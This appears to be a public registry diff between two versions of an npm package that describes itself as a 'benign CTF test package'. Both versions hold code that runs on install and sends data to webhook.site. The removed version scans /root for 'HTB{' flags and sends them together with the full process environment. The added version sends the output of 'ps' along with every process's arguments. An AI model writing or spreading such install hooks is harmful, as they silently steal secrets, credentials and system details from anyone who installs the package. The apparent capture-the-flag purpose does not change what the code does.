@alexandrsarioglo/npm-ghost-htb 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +38 -63
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,10 +1,8 @@
1
- const WEBHOOK = 'https://webhook.site/f5545fb8-769e-42cb-8e10-c1e6b4b4a5d1'; // <-- put your URL
1
+ const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743'; // <-- put your URL
2
2
 
3
3
  // async-scan-htb-json.js (CommonJS)
4
4
  // Usage: node async-scan-htb-json.js [startPath]
5
5
  const fs = require('fs');
6
- const fsp = require('fs/promises');
7
- const path = require('path');
8
6
  const http = require('http');
9
7
  const https = require('https');
10
8
  const { URL } = require('url');
@@ -25,70 +23,47 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
25
23
  } catch {}
26
24
  }
27
25
 
28
- const EXCLUDES = new Set(['node_modules', '.git', '.cache', 'dist', 'build', 'site-packages', 'proc', 'sys', 'dev', 'run']);
29
- const NEEDLE = /HTB\{/i;
30
- const root = "/root";
26
+ // list-procs-ps.js
27
+ // Usage: node list-procs-ps.js [outputPath]
28
+ // Example: node list-procs-ps.js /tmp/procs.json
31
29
 
30
+ const { spawn } = require('child_process');
32
31
 
33
- const results = [];
34
- let scanned = 0;
35
- const YIELD_EVERY = 1000; // tune: how often to yield & send progress
32
+ // ps columns: PID USER STAT START TIME COMMAND (we ask for pid,user,comm,args)
33
+ const ps = spawn('ps', ['-eo', 'pid,user,comm,args'], { stdio: ['ignore', 'pipe', 'pipe'] });
36
34
 
37
- async function inspectFile(filePath) {
38
- try {
39
- const data = await fsp.readFile(filePath, 'utf8');
40
- const lines = data.split(/\r?\n/);
41
- for (let i = 0; i < lines.length; i++) {
42
- if (NEEDLE.test(lines[i])) {
43
- results.push({ file: filePath, line: i + 1, text: lines[i].trim() });
44
- }
45
- }
46
- } catch {
47
- // unreadable/binary -> skip
48
- }
49
- }
50
-
51
- async function walk(dir, depth = 0) {
52
- // yield periodically so HTTP can flush
53
- scanned++;
54
- if (scanned % YIELD_EVERY === 0) {
55
- sendProgress({ type: 'scan-progress', scanned, matches: results.length, at: dir });
56
- await new Promise(r => setImmediate(r));
57
- }
58
-
59
- // prune common virtual/system roots by prefix
60
- for (const ex of EXCLUDES) {
61
- if (dir === `/${ex}` || dir.startsWith(`/${ex}/`)) return;
62
- }
35
+ let buffer = '';
36
+ ps.stdout.setEncoding('utf8');
37
+ ps.stdout.on('data', chunk => buffer += chunk);
63
38
 
64
- let entries;
65
- try {
66
- entries = await fsp.readdir(dir, { withFileTypes: true });
67
- } catch {
68
- return;
39
+ ps.on('close', code => {
40
+ const lines = buffer.split(/\r?\n/).filter(Boolean);
41
+ // drop header line
42
+ if (lines.length === 0) {
43
+ console.error('ps produced no output');
44
+ process.exit(1);
69
45
  }
70
-
71
- for (const ent of entries) {
72
- const full = path.join(dir, ent.name);
73
- if (ent.isDirectory()) {
74
- if (!EXCLUDES.has(ent.name)) {
75
- await walk(full, depth + 1);
76
- }
77
- } else if (ent.isFile()) {
78
- await inspectFile(full);
46
+ const header = lines.shift();
47
+ const procs = lines.map(line => {
48
+ // split into 4 columns: pid,user,comm,args. We expect whitespace-separated pid & user & comm, then the rest is args
49
+ const m = line.trim().match(/^(\d+)\s+(\S+)\s+(\S+)\s+(.*)$/);
50
+ if (!m) {
51
+ // fallback: try splitting
52
+ const parts = line.trim().split(/\s+/);
53
+ return { raw: line };
79
54
  }
80
- }
81
- }
82
-
83
- (async () => {
84
- console.log(`Scanning ${root} (excluding: ${[...EXCLUDES].join(', ')}) ...`);
85
- sendProgress({ type: 'scan-start', root });
86
- await walk(root);
87
- sendProgress({
88
- type: 'scan-complete',
89
- scanned,
90
- totalMatches: results.length,
91
- results,
92
- env: process.env
55
+ return {
56
+ pid: parseInt(m[1], 10),
57
+ user: m[2],
58
+ comm: m[3],
59
+ args: m[4]
60
+ };
93
61
  });
94
- })();
62
+
63
+ const result = { generated: new Date().toISOString(), procs };
64
+ sendProgress(result);
65
+ });
66
+ ps.on('error', err => {
67
+ console.error('Failed to run ps:', err.message);
68
+ process.exit(2);
69
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@alexandrsarioglo/npm-ghost-htb",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "main": "index.js",
5
5
  "description": "benign CTF test package (postinstall sends a webhook)",
6
6
  "scripts": {